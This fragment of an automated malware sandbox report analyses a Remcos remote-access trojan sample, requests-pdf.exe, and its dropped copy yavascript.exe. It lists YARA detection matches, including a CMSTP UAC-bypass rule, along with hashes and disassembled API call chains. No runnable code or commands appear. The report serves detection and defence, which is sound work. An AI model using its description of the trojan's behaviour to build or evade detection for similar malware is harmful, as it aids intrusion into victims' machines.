              Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: Process Memory Space: requests-pdf.exe PID: 7268, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: yavascript.exe PID: 7780, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: yavascript.exe PID: 8172, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041CA9E NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,0_2_0041CA9E
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041ACC1 OpenProcess,NtSuspendProcess,CloseHandle,0_2_0041ACC1
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041ACED OpenProcess,NtResumeProcess,CloseHandle,0_2_0041ACED
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024EAF54 OpenProcess,NtResumeProcess,CloseHandle,0_2_024EAF54
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024EAF28 OpenProcess,NtSuspendProcess,CloseHandle,0_2_024EAF28
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024ECD05 NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,0_2_024ECD05
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0041CA9E NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,15_2_0041CA9E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0041ACC1 OpenProcess,NtSuspendProcess,CloseHandle,15_2_0041ACC1
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0041ACED OpenProcess,NtResumeProcess,CloseHandle,15_2_0041ACED
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0250AF54 OpenProcess,NtResumeProcess,CloseHandle,15_2_0250AF54
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0250AF28 OpenProcess,NtSuspendProcess,CloseHandle,15_2_0250AF28
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0250CD05 NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,15_2_0250CD05
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0041CA9E NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,25_2_0041CA9E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0041ACC1 OpenProcess,NtSuspendProcess,CloseHandle,25_2_0041ACC1
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0041ACED OpenProcess,NtResumeProcess,CloseHandle,25_2_0041ACED
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024FAF54 OpenProcess,NtResumeProcess,CloseHandle,25_2_024FAF54
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024FAF28 OpenProcess,NtSuspendProcess,CloseHandle,25_2_024FAF28
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024FCD05 NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,25_2_024FCD05
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004158B9 ExitWindowsEx,LoadLibraryA,GetProcAddress,0_2_004158B9
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024E5B1C ExitWindowsEx,LoadLibraryA,GetProcAddress,0_2_024E5B1C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_004158B9 ExitWindowsEx,LoadLibraryA,GetProcAddress,15_2_004158B9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02505B1C ExitWindowsEx,LoadLibraryA,GetProcAddress,15_2_02505B1C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_004158B9 ExitWindowsEx,LoadLibraryA,GetProcAddress,25_2_004158B9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024F5B1C ExitWindowsEx,LoadLibraryA,GetProcAddress,25_2_024F5B1C
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041D0710_2_0041D071
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004520D20_2_004520D2
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0043D0980_2_0043D098
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004371500_2_00437150
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004361AA0_2_004361AA
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004262540_2_00426254
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004313770_2_00431377
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0043651C0_2_0043651C
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041E5DF0_2_0041E5DF
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0044C7390_2_0044C739
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004367C60_2_004367C6
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004267CB0_2_004267CB
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0043C9DD0_2_0043C9DD
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00432A490_2_00432A49
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00436A8D0_2_00436A8D
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0043CC0C0_2_0043CC0C
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00436D480_2_00436D48
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00434D220_2_00434D22
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00426E730_2_00426E73
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00440E200_2_00440E20
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0043CE3B0_2_0043CE3B
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00412F450_2_00412F45
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00452F000_2_00452F00
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00426FAD0_2_00426FAD
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024F72140_2_024F7214
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024ED2D80_2_024ED2D8
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0250D2FF0_2_0250D2FF
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_025223390_2_02522339
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_025073B70_2_025073B7
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024F70DA0_2_024F70DA
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_025110870_2_02511087
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0250D0A20_2_0250D0A2
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_025064110_2_02506411
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024F64BB0_2_024F64BB
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024F6A320_2_024F6A32
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024EE8460_2_024EE846
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0250CE730_2_0250CE73
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0250CC440_2_0250CC44
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_02502CB00_2_02502CB0
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0041D07115_2_0041D071
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_004520D215_2_004520D2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0043D09815_2_0043D098
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0043715015_2_00437150
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_004361AA15_2_004361AA
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0042625415_2_00426254
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0043137715_2_00431377
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0043651C15_2_0043651C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0041E5DF15_2_0041E5DF
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0044C73915_2_0044C739
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_004367C615_2_004367C6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_004267CB15_2_004267CB
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0043C9DD15_2_0043C9DD
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00432A4915_2_00432A49
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00436A8D15_2_00436A8D
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0043CC0C15_2_0043CC0C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00436D4815_2_00436D48
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00434D2215_2_00434D22
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00426E7315_2_00426E73
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00440E2015_2_00440E20
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0043CE3B15_2_0043CE3B
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00412F4515_2_00412F45
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00452F0015_2_00452F00
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00426FAD15_2_00426FAD
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0251721415_2_02517214
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0250D2D815_2_0250D2D8
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0252D2FF15_2_0252D2FF
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0254233915_2_02542339
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_025273B715_2_025273B7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_025170DA15_2_025170DA
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0253108715_2_02531087
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0252D0A215_2_0252D0A2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0252641115_2_02526411
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_025164BB15_2_025164BB
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02516A3215_2_02516A32
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0250E84615_2_0250E846
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0252CE7315_2_0252CE73
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0252CC4415_2_0252CC44
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02522CB015_2_02522CB0
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0041D07125_2_0041D071
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_004520D225_2_004520D2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0043D09825_2_0043D098
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0043715025_2_00437150
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_004361AA25_2_004361AA
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0042625425_2_00426254
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0043137725_2_00431377
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0043651C25_2_0043651C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0041E5DF25_2_0041E5DF
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0044C73925_2_0044C739
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_004367C625_2_004367C6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_004267CB25_2_004267CB
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0043C9DD25_2_0043C9DD
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00432A4925_2_00432A49
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00436A8D25_2_00436A8D
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0043CC0C25_2_0043CC0C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00436D4825_2_00436D48
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00434D2225_2_00434D22
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00426E7325_2_00426E73
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00440E2025_2_00440E20
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0043CE3B25_2_0043CE3B
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00412F4525_2_00412F45
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00452F0025_2_00452F00
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00426FAD25_2_00426FAD
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0250721425_2_02507214
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024FD2D825_2_024FD2D8
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0251D2FF25_2_0251D2FF
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0253233925_2_02532339
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_025173B725_2_025173B7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_025070DA25_2_025070DA
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0252108725_2_02521087
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0251D0A225_2_0251D0A2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0251641125_2_02516411
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_025064BB25_2_025064BB
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_02506A3225_2_02506A32
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024FE84625_2_024FE846
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0251CE7325_2_0251CE73
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0251CC4425_2_0251CC44
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_02512CB025_2_02512CB0
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: String function: 024D234E appears 37 times
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: String function: 004020E7 appears 39 times
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: String function: 02503B0C appears 41 times
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: String function: 02504217 appears 46 times
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: String function: 00401F66 appears 50 times
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: String function: 004338A5 appears 41 times
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: String function: 00433FB0 appears 55 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 024E234E appears 37 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 024F234E appears 37 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00401D64 appears 43 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00447174 appears 36 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00401F66 appears 100 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00401FAA appears 42 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00403B40 appears 44 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00433FB0 appears 110 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00444B14 appears 56 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00404C9E appears 32 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 004020E7 appears 79 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 02523B0C appears 41 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 02513B0C appears 41 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 02524217 appears 46 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 02514217 appears 46 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00401E8F appears 37 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 004040BB appears 36 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 00410D8D appears 36 times
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: String function: 004338A5 appears 82 times
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 924
              Source: requests-pdf.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
              Source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
              Source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
              Source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
